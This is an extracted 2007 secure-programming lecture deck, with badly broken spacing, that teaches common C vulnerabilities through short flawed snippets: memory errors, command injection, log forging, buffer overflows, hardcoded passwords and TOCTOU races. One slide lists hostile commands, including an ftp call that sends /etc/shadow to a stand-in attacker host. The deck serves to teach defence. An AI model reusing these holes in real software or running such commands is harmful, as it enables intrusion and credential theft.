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Why Wor r y?

Ther e ar e lot s of  t hr eat s: vir uses, wor ms,
phishing, bot net s, denial of  ser vice, hacking, et c.

How long would it  t ake f or  an unpr ot ect ed,
unpat ched PC r unning an older  ver sion of
Windows t o be hacked?

The cost  of  pr event ion and r epair  is subst ant ial

The number  of  Òbad guysÓ successf ully caught  and
pr osecut ed is low !
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Goals of  At t acker s

Cr ash your  syst em, or  your  applicat ion, or
cor r upt / delet e your  dat a

St eal your  pr ivat e inf o

Take cont r ol of  your  account , or  your  machine
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Syst em ÒResour ce Allocat ionÓ

Reading any par amet er  f r om user  and allocat ing
suf f icient  r esour ces based on t hat  input  is r isky

Ð r unning out  of  r esour ces can cr ash t he applicat ion, or
cr ash or  f r eeze t he syst em

Examples of  f init e Òr esour cesÓ
Ð memor y

Ð f ile descr ipt or s

Ð st ack space

Ð t hr eads

Ð É
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Whose Pr oblem?

OS wr it er s?

Applicat ion pr ogr ammer s?

User s?

Administ r at or s?

Law enf or cement ?
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Cat egor ies of  Pr oblems

I . Pr ogr amming bugs

I I . Failur e t o validat e or  r est r ict  input  t o t he
pr ogr am

i. Buf f er  over f low

I I I .I nadequat e pr ot ect ion of  secr et  inf o

I V.False assumpt ions about  t he oper at ing
envir onment
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I .  Pr ogr am Bugs

Pr ogr ammer s nor mally wor r y about  having bugs in
t heir  pr ogr ams t hat  might  cause pr ogr am
execut ion t o f ail

Ð in many cases, at  least  t he f ailur e is unlikely

A new wor r y: malicious hacker s looking f or  bugs
Ð and t r ying t o make your  pr ogr ams f ail

Most  at t acks on sof t war e begin by violat ing t he
pr ogr ammerÕs assumpt ions

Now you r eally need t o be par anoid!

copyr ight  2007 Douglas S. Reeves 9

Ex.: Memor y Fr eeing

Pr oblems?   Fixes?

char *  pt r  = ( char  * )  mal l oc ( SI ZE) ;

. . .

i f  ( er r )  {

    abor t  = 1;

    f r ee( pt r ) ;

}

. . .

i f  ( abor t )

    l ogEr r or ( ÓAbor t ed,  cont ent s = " ,  pt r ) ;
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Ex.: Memor y Fr eeing

Pr oblems?   Fixes?

voi d f ( )  {

char  *  pt r  = ( char * ) mal l oc ( SI ZE) ;

. . .

i f  ( abor t )

    f r ee( pt r ) ;

. . .

f r ee( pt r ) ;

     r et ur n ;

}
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Ex.: Memor y Allocat ion

Pr oblems?  Fixes?

char  *  get Bl ock( i nt  f d)  {

char  *  buf  = ( char  * )  mal l oc( SZ) ;

i f  ( ! buf )

     r et ur n NULL;

i f  ( r ead( f d,  buf ,  SZ)  ! = SZ)

     r et ur n NULL;

el se

     r et ur n buf ;

}
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Ex.: Er r or  Handling

Pr oblems?   Fixes?

r esul t  = doSomet hi ng( ) ;

i f  ( r esul t  == ERROR)  {

   / *  t hi s  shoul d never  happen

    *  so I Õm not  wor r i ed about  i t

    * /

} ;

. . .
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Ex.: Debug Mode

Pr oblems?   Fixes?

char  passwd[ MAXPWLEN+1] ;

st r ncpy( passwd,  ar gv[ 1] ,  MAXPWLEN) ;

#i f def  DEBUG

   pwOK = 1;

#el se

   pwOK = checkPW( passwd) ;

#endi f

i f  ( pwOK)

   É do some pr ot ect ed st uf f  her eÉ
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Ex.: Copying St r ings

Pr oblems?   Fixes?

#def i ne MAXLEN 1024

char  pat hbuf [ MAXLEN] ,  i nput buf [ MAXLEN] ;

f r ead( i nput buf ,  1,  MAXLEN,  cf gf i l e) ;

. . .

s t r cpy( pat hbuf , i nput _buf ) ;  
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Ex.: Ret ur n Values

Pr oblems?   Fixes?

char  * i t emName;

whi l e ( ar gc > 1)  {

i t emName = get Par amet er ( ar gv[ - - ar gc] ) ;

i f  ( ! s t r cmp( i t emName,  I MPORTANT_I TEM) )  {

    . . .

}

}

. . .
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Ex.: Ter minat ion

Pr oblems?   Fixes?

i nt  mai n( i nt  ar gc,  char * *  ar gv)  {

    char  *  r et  = ar gv[ 0] ;

    whi l e ( * r et  ! = Ô=Õ)

        r et ++;

    pr i nt f ( " %s\ n" ,  ++r et ) ;

    . . .

}
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Ex.: I nt eger  Values

Pr oblems?    Fixes?

char  *  pr ocessNext ( char  *  s t r m)  {

    char  buf [ 512] ;

    shor t  l en = *  ( shor t * )  s t r m;

    s t r m += s i zeof ( l en) ;

    i f  ( l en <= 512)  {

        memcpy( buf ,  s t r m,  l en) ;

        pr ocess( buf ) ;

        r et ur n s t r m + l en;

    }  el se

         r et ur n - 1;

}
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I I .  Failur e t o Validat e User  I nput

Easiest  way a hacker  can af f ect  t he applicat ion is
t hr ough dat a pr ovided t o t he pr ogr am

Which is har der ? Making code f oolpr oof , or
hacker pr oof ?
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Ex.: Resour ce Allocat ion

Pr oblems?

nr esp = get nr esp( ) ;

i f  ( nr esp > 0)  {

    r esponse =
      ( char  * * )  mal l oc( nr esp *  s i zeof ( char  * ) ) ;

    f or  ( i  = 0;  i  < nr esp;  i ++)

        r esponse[ i ]  = get _r esponse_st r i ng( ) ;

}
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Ex.: Command Execut ion

Pr ogr ams can execut e ot her  pr ogr ams: f or k( ) ,
execv( ) ,  syst em( ) ,  É

Examples

Danger s!

Ð pr ivilege level of  command execut ion is one issue

Ð unr est r ict ed command execut ion is anot her

syst em( Ògcc / t mp/ mal i c i ouscode. c - o / bi n/ l sÓ)

syst em( Òf t p badguy@hi deout . com / et c/ shadowÓ)
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Ex.: Command Execut ion

Pr oblems?   Fixes?

i nt  mai n( char *  ar gc,  char * *  ar gv)  {

char  cmd[ CMD_MAX]  = " / usr / bi n/ cat  " ;

s t r cat ( cmd,  ar gv[ 1] ) ;

syst em( cmd) ;

}

I f  ar gv[1]  cont ains an embedded Ò;Ó, t hat
t er minat es one command and begins anot her  -
ar bit r ar y code can be execut ed
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Ex.: Command Execut ion (cont Õd)

Pr oblems?   Fixes?

. . .

char  *  home = get env( " APPHOME" ) ;  

char  *  cmd =
( char  * )  mal l oc( st r l en( home) +st r l en( I NI TCMD) ) ;

i f  ( cmd)  {

s t r cpy( cmd, home) ;

s t r cat ( cmd, I NI TCMD) ;

execl ( cmd,  NULL) ;

}

. . .
Read environment variable

I f  user  can change envir onment  var iable, can
execut e ar bit r ar y code
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Ex.: Command Execut ion (cont Õd)

Pr oblems?   Fixes?

. . .

syst em( " cd / var / yp && make &> / dev/ nul l " ) ;

. . .
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Ex.: Pat h Manipulat ions

Pr oblems?   Fixes?

char  f name[ 200]  = Ò/ usr / l ocal / apf r / r epor t s / Ó;

char  r Name[ 100] ;

( voi d)  scanf ( Ò%99sÓ,  r Name) ;

( voi d)  s t r cat ( f name,  r name) ;

( voi d)  r emove( f name) ;
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Logging

Applicat ions use st r uct ur ed logs t o r ecor dÉ

Ð st ar t up conf igur at ion of  applicat ion

Ð impor t ant  event s

Ð er r or  condit ions

Ð et c.

I nf or mat ion impor t ant  f or  diagnosis of  pr oblems,
and syst em administ r at ion
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Ex.: Log For ging

Pr oblems?

char  st r [ 1000] ,  er r st r [ 2000] ;

r es = scanf ( Ò%999sÓ,  &st r ) ;

i f  ( r es ! = 1)

   Ésome er r or  code her e,  not  i mpor t ant É

i f  ( ! val i d( st r ) )  {

   ( voi d)  spr i nt f ( er r st r ,

         ÒFai l ed t o par se st r i ng = %sÓ,  s t r ) ;

   ( voi d)  l og( er r st r ) ;

}
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Log For ging (cont Õd)

I f  user  ent er s st r ing
    t went y- one
t he f ollowing ent r y is logged:
    I NFO:  Fai l ed t o par se val =t went y- one

However , if  at t acker  ent er s st r ing
    t went y- one\ nI NFO:  User  l ogged i n=badguy
t he f ollowing ent r y is logged:
    I NFO:  Fai l ed t o par se val =t went y- one
  I NFO:  User  l ogged i n=badguy

At t acker s can inser t  ar bit r ar y log ent r ies t his way

Fixes?

copyr ight  2007 Douglas S. Reeves 28

Best  Pr act ices

Validat e all input s at  t he ser ver ; donÕt  r ely on t he client

Use a unif or m, cent r alized validat ion engine

Use a whit e list  f ilt er , inst ead of  a black list  f ilt er

I dent if y special char act er s and escape t hem consist ent ly
dur ing input  validat ion

I f  t he input  is a URL, decode it  in t he host  syst em bef or e
validat ion

When t he input  is a f ilename/ pat h, r esolve t he name in t he
host  OS dur ing validat ion

I f  you accept  UTF-8 encoding, ver if y t he input  cont ains
legal UTF-8 sequences
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I I . i.  Buf f er  Over f lows

C does not  aut omat ically do bounds checking on
buf f er s

E.g., t he f ollowing is legal:

voi d f ( )  {

  i nt  a[ 10] ;

  a[ 20]  = 3;

}

Of t en (usually?), wr it ing past  t he end of  a buf f er
causes t he pr ogr am t o cr ash wit h a segment at ion
f ault  (event ually)
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Ex.: Buf f er  Pr oblem

Layout  in memor y:

i nt  mai n( i nt  ar gc,  char  * ar gv[ ] )  {

    char  passwd_ok = 0;

    char  passwd[ 8] ;

    s t r cpy( passwd,  ar gv[ 1] ) ;

    i f  ( s t r cmp( passwd,  " ni k l as" ) ==0)

        passwd_ok = 1;

    i f  ( passwd_ok)  {  . . .  }

}

l ongpasswor d1
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Risky C <st r i ng. h> Funct ions

st r cpy

st r cat

get s,  e.g.

Also: f unct ions using f or mat  specif ier  st r ings
– scanf ,  sscanf

– spr i nt f

char  buf [ BUFSI ZE] ;

get s( buf ) ;
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Anot her  Example

Pr oblems?

    char  buf f er [ 100] ;

    s t r cpy( buf f er ,  ar gv[ 1] ) ;

    f unc( buf f er ) ;

ar bi t r ar ycodeX

copyr ight  2007 Douglas S. Reeves 33

St ack At t acks

When a f unct ion is calledÉ

Ð par amet er s ar e pushed on st ack

Ð r et ur n addr ess pushed on st ack

Ð called f unct ion put s local var iables on t he st ack

Memor y layout

Pr oblems?

ar bi t r ar yst uf f X
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Anot her  Example

User  specif ies t he size of  t he copy

Pr oblems?

char  buf [ 64] ,  i n[ MAX_SI ZE] ;

pr i nt f ( " Ent er  buf f er  cont ent s: \ n" ) ;

r ead( 0,  i n,  MAX_SI ZE- 1) ;

pr i nt f ( ÓEnt er  buf f er  s i ze: \ n" ) ;

scanf ( " %d" ,  &byt es) ;

memcpy( buf ,  i n,  byt es) ;
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Some Fixes

1. Pr ogr ammer  r eplaces Òunsaf eÓ f unct ion calls by
saf e (bounds checking) count er par t s in
<st dl i b. h> (e.g., st r ncat ( ) )

2. Use a dif f er ent  st r ing libr ar y t hat  pr ovides
mor e pr ot ect ion t han <st r i ng. h>

¥ e.g., adds code t o t r ack buf f er  size and check t hat
bounds not  exceeded

¥ wr it e one your self ?
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I I I .  Pr ot ect ing Secr et s

I t  can be dif f icult  t o pr ot ect  Òsecr et Ó inf or mat ion
in a pr ogr am
Ð open sour ce

Ð r ever se engineer ing (disassembly) of  binar y code

Ð t ools t hat  allow inspect ion of  memor y (even of  r unning
pr ocesses)

What  secr et s need t o be pr ot ect ed?
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Random Number s

Applicat ions depend on unpr edict abilit y of  r andom
number s
Ð ex.: car d dealing in poker

St andar d r andom number  gener at or s ar e
pr edict able if É
Ð you know t he last  value, and t he r andom number

gener at ion algor it hm

Solut ion: use cr ypt ogr aphically-secur e r andom
number  gener at or s

– / dev/ r andom, cipher s using secr et  keys, et c.
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ÒScr ubbingÓ Memor y

I t Õs a good idea t o r emove sensit ive dat a f r om t he
pr ogr amÕs memor y as soon as possible
Ð har der  t han you t hink

voi d get Dat a( char  * MFAddr )  {

    char  pwd[ 64] ;

    i f  ( get PWDFr omUser ( pwd,  s i zeof ( pwd) ) )  {

  i f  ( connect ToMai nf r ame( MFAddr ,  pwd) )  {

      É some code her e,  uni mpor t ant  É

  }

    }

    memset ( pwd,  0,  s i zeof ( pwd) ) ;

}
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ÒScr ubbingÓ Memor y (cont Õd)

Pr oblems?  Fixes?

cl ear t ext _buf f er  = get _secr et ( ) ;

. . .

c l ear t ext _buf f er  =

        r eal l oc( c l ear t ext _buf f er ,  1024) ;

. . .

scr ub_memor y( c l ear t ext _buf f er ,  1024) ;
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DonÕt  Har dcode Passwor ds

   char  passwd[ 9] ;

   ( voi d)  pr i nt f ( ÒEnt er  passwor d:  Ò) ;

   ( voi d)  scanf ( Ò%8sÓ,  passwd) ;

   i f  ( ! s t r cmp( passwd,  Òhot dogÓ) )  {

      É do some pr ot ect ed st uf f  É

   }

> st r i ngs a. exe
C@@0@
$0 @
Ent er  passwor d:
hot dog
É
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Temp Files

Pr oblems?  Fixes?

. . .

i f  ( t mpnam( f i l ename) ) {

  FI LE*  t mp = f open( f i l ename, " wb+" ) ;

  É t hen wr i t e somet hi ng t o t hi s  f i l e É

}

. . .

f open:  Òw+Ó = Open f or  r eadi ng and wr i t i ng.
The f i l e i s  cr eat ed i f  i t  does not  ex i s t ,
ot her wi se i t  i s  t r uncat ed.
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I V.  ÒRaceÓ Condit ions

Pr ogr ammer  assumes st eps (a) and (b) in t he code
ar e execut ed sequent ially, wit hout  int er r upt ion

Clever , per sist ent  hacker  f inds a way t o modif y
somet hing about  t he syst em bet ween execut ion
of  (a) and (b)

One example: (a) Time of  Check - (b) Time of  Use
bugs (ÒTOCTOUÓ)
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TOCTOU (ÒTime of Check, Time of U seÓ)

Pr oblems?  Fixes?

I f  ( ! access( f i l e, W_OK) )  {

f  = f open( f i l e, " w+" ) ;

oper at e( f ) ;

}

el se {

f pr i nt f ( s t der r ,

           " Unabl e t o open f i l e %s . \ n" , f i l e) ;

}

(a)

(b)
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Conclusions

Be par anoid (quest ion all assumpt ions)!

No bugs!

Be inf or med!

Pr event  buf f er  over f low!

Validat e user -pr ovided input  st r ingent ly!

Minimize secr et s, and access t o secr et s!


